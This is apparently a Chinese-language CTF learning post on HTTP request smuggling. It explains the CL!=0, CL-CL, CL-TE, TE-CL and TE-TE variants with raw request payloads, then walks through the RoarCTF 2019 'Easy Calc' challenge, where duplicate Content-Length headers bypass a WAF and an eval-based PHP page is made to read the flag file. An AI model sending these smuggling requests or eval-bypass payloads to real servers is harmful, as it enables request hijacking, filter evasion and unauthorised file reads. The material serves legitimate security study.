http请求走私

前言

打比赛碰到了这个知识点,就顺便学习一下,http走私这块如果要考起来难度还是比较高的。

漏洞成因

http走私与其他web漏洞存在着比较大的不同,因为不同服务器对RFC标准实现的方式与程度都不尽相同,这就导致了对同一个http请求不同服务器可能会有不同的处理结果,因此http走私的payload并不相通。

接下来我们来介绍导致http走私漏洞的两个http1.1协议特性,Keep-AlivePipeline

所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。

有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

简单来说就是,长连接允许多个请求复用同一个tcp连接,不必每个请求重新建立连接,大大节约了服务器资源,pipline使得http的请求不必等到响应之后在发起,而可以流式得发起请求,请求到达服务端后仍然通过排队的方式进行处理。

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于服务器的实现方式不同(处理te与cl时存在差异),可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

请求方式

cl!=0

在RFC7231中提到,假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。

这种情况下就有可能会导致走私,比如我们构造如下的请求:

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n

前端服务器收到请求后,读取Content-Length判断这是一个完整请求,然后转发到后端服务器,后端服务器不处理Content-Length,但又由于Pipeline存在,这就意味着后端认为接收到了两个请求,导致了走私的发生。

cl-cl

RFC7230中规定,当服务器收到的请求中含有两个Content-Length且值不相等时应该返回400。但是总是有一些服务器会存在不严格执行标准的情况,在这样的情况下我们就可以安排走私了。

首先构造一个恶意请求:

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

在这种情况下,前端读取到了cl是8,因此整个包被送入了后端,但是后端cl只读取了7,因此缓冲区此时剩下一个字母a。那么此时如果一个正常用户对服务器发起了请求:

1
2
GET /index.html HTTP/1.1\r\n
Host: 127.0.0.1\r\n

原来存在于缓冲区的字母a就被拼接了,实际请求发生了改变:

1
2
aGET /index.html HTTP/1.1\r\n
Host: 127.0.0.1\r\n

这样就可以插入一些恶意语句,拓展为CSRF等等。

cl-te

简单来说,这种走私方式利用了前端服务器只处理Content-Length,后端只处理Transfer-Encoding这一情况,而关于Transfer-Encoding这一请求头可以参考下面这篇文章:
HTTP 协议中的 Transfer-Encoding

这其中我们要只要的是chunked编码的格式(size用hex表示):

1
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

接下来我们可以构造如下请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

这样,由于前端服务器解析了Content-Length,因此

1
2
3
0\r\n
\r\n
G

被全部解析,接下来传输到后端后后端服务器解析Transfer-Encoding,那么识别到G之前就被认为已经结束了,因此G被留在了缓冲区,那么就会导致下一次请求G被解析出来拼接到请求之前,导致报错。

te-cl

看名字应该也能理解,就是和cl-te相反,前端服务器解析Transfer-Encoding,而后端服务器解析Content-Length。那么我们构建这样一个请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
21\r\n
POST /mrl64.html HTTP/1.1\r\n
\r\n
0\r\n
\r\n

我们发现首先前端服务器处理Transfer-Encoding,那么直到读取到0\r\n\r\n结束,因此整个请求都是完整的,这样整个请求就被送到了后方服务器。接下来后端服务器解析Content-Length,那么读取完21\r\n后就结束了,后面的内容就被当做了另一个请求继续执行。

te-te

那么排列组合一下剩下的最后一种情况就是te-te了,前后端服务器都会解析处理Transfer-Encoding。不过有所区别的是,由于前后端服务器毕竟不是同一种,我们无法直接构造请求。这里我们可以使用Content-Length加以混淆从而使服务器不处理某个Transfer-Encoding。这样就相当于把问题又变成了te-cl或者cl-te。

那么我们构造请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

这里后端服务器就不会解析Transfer-Encoding了,而是解析处理Content-length,达到了te-cl的走私效果。

[RoarCTF 2019]Easy Calc

这道题我们之前是利用php字符串解析漏洞解决的,那么现在我们利用http走私的方法。

首先放下代码calc.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

其实字母都是不允许输入的,会返回403,不过我们可以利用cl-cl的http请求走私来绕过waf。

构造如下请求:

1
2
3
4
5
6
7
8
9
10
11
12
GET /calc.php?num=phpinfo(); HTTP/1.1
Host: node4.buuoj.cn:25903
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: track_uuid=9500a345-a839-4645-aee4-f9c598b48bf2; __gads=ID=f01d1993f76853c0-224634b7f6d100ca:T=1649937963:RT=1649937963:S=ALNI_MZ-hofC8jAB4S9yUeyX8RMp1LN2-g
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0
Content-Length: 0

由于前后端服务器分别解析了Content-Length,导致服务器以为我们没有输入内容,返回了400,但是phpinfo依然成功显示。因此这样我们只需要绕过明面的blacklist就可以了,最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
GET /calc.php?num=var_dump(readfile(chr(47).base_convert(25254448,10,36))); HTTP/1.1
Host: node4.buuoj.cn:25903
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: track_uuid=9500a345-a839-4645-aee4-f9c598b48bf2; __gads=ID=f01d1993f76853c0-224634b7f6d100ca:T=1649937963:RT=1649937963:S=ALNI_MZ-hofC8jAB4S9yUeyX8RMp1LN2-g
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0
Content-Length: 0

构造这个请求获得flag。

总结

比赛里的那题http请求走私难度还是挺大的,等之后可以复现一下,也了解一下http走私在比赛中的利用方法,理论写起来还是比较空泛的,最后一定要落到实践上。